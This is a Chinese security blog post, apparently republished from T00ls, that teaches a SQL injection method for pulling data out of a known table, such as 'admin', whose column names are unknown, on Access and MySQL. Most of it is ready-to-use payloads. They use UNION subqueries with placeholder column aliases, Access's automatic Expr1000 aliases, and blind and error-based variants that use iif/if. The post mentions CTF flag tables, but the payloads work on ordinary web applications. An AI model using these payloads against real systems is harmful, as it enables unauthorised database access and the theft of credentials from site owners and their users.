妈妈再也不用担心我的access注入了

  • A+
所属分类:安全文章

条件:已知表名,字段名未知,数据库本身支持子查询
对付access和mysql4.0.5以上比较有用,也可以用来偷懒,比如从各种ctf的flag表里面读数据
思路:在子查询里面写针对目标表的联合查询:第一个查询以常量为每一个字段占位,同时指定别名;紧随其后的联合查询查询目标表所有字段(*);最后对这个子查询的结果集进行联合查询或盲注。
例如有注入点:
select title,time,author,content from article where id={inject here}
字段为四,已知表名admin,admin字段未知
先猜测admin表字段总数,在子查询中加入order by,999999999 为不存在的id:
select title,time,author,content from article where id=999999999
union select 1,2,3,4 from(
select * from admin order by 1
)

假设获得字段总数为五,构造子查询的联合查询语句并指定别名:
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin

最后对这个子查询结果集进行查询即可:
select title,time,author,content from article where id=999999999
union select 1,2,3,
field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5
from(
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
)

当数据库为access时,可以不指定别名,access为未命名的表达式自动添加别名,第一个为Expr1000,第二个为Expr1001。于是以上语句可变为:
select title,time,author,content from article where id=999999999
union select 1 as x,2 as xx,3 as xxx,
Expr1000&'|'&Expr1001&'|'&Expr1002&'|'&Expr1003&'|'&Expr1004 as xxxx
from(
select 1,2,3,4,5 from admin where 1=2
union select * from admin
)

注意如果原始语句中存在表达式,则这种查询方式可能不正确。

需要加条件的时候,再套一层子查询:
select title,time,author,content from article where id=999999999
union select 1,2,3,
field_1&'|'&field_2&'|'&field_3&'|'&field_4&'|'&field_5 from(
select * from (
select 1 as field_1,2 as field_2,3 as field_3,4 as field_4,5 as field_5
from admin where 1=2
union select * from admin
) where field_1 not in (1)
)

盲注的时候可以这样(用于回显不同时):
select title,time,author,content from article where id=999999999 or(
select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5
from admin where 1=2
union select * from admin
)
)>0

也可以这样(用于因多次代入无论如何都报错时,或500/200的区别时):
select title,time,author,content from article where id=999999999 or
iif(
(select top 1 len(field_1) from(
select 1 as field_1,2,3,4,5
from admin where 1=2
union select * from admin
)
)>0,
1,
(select 2 from multi_rows_table)
)=1

需要multi_rows_table记录数大于1,mysql中可将iif换为if
最后,部分数据库需要对子查询指定别名(access不用指定所以没写)。

“妈妈再也不担心我的access注入了!”

本文始发于微信公众号(T00ls):妈妈再也不用担心我的access注入了

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: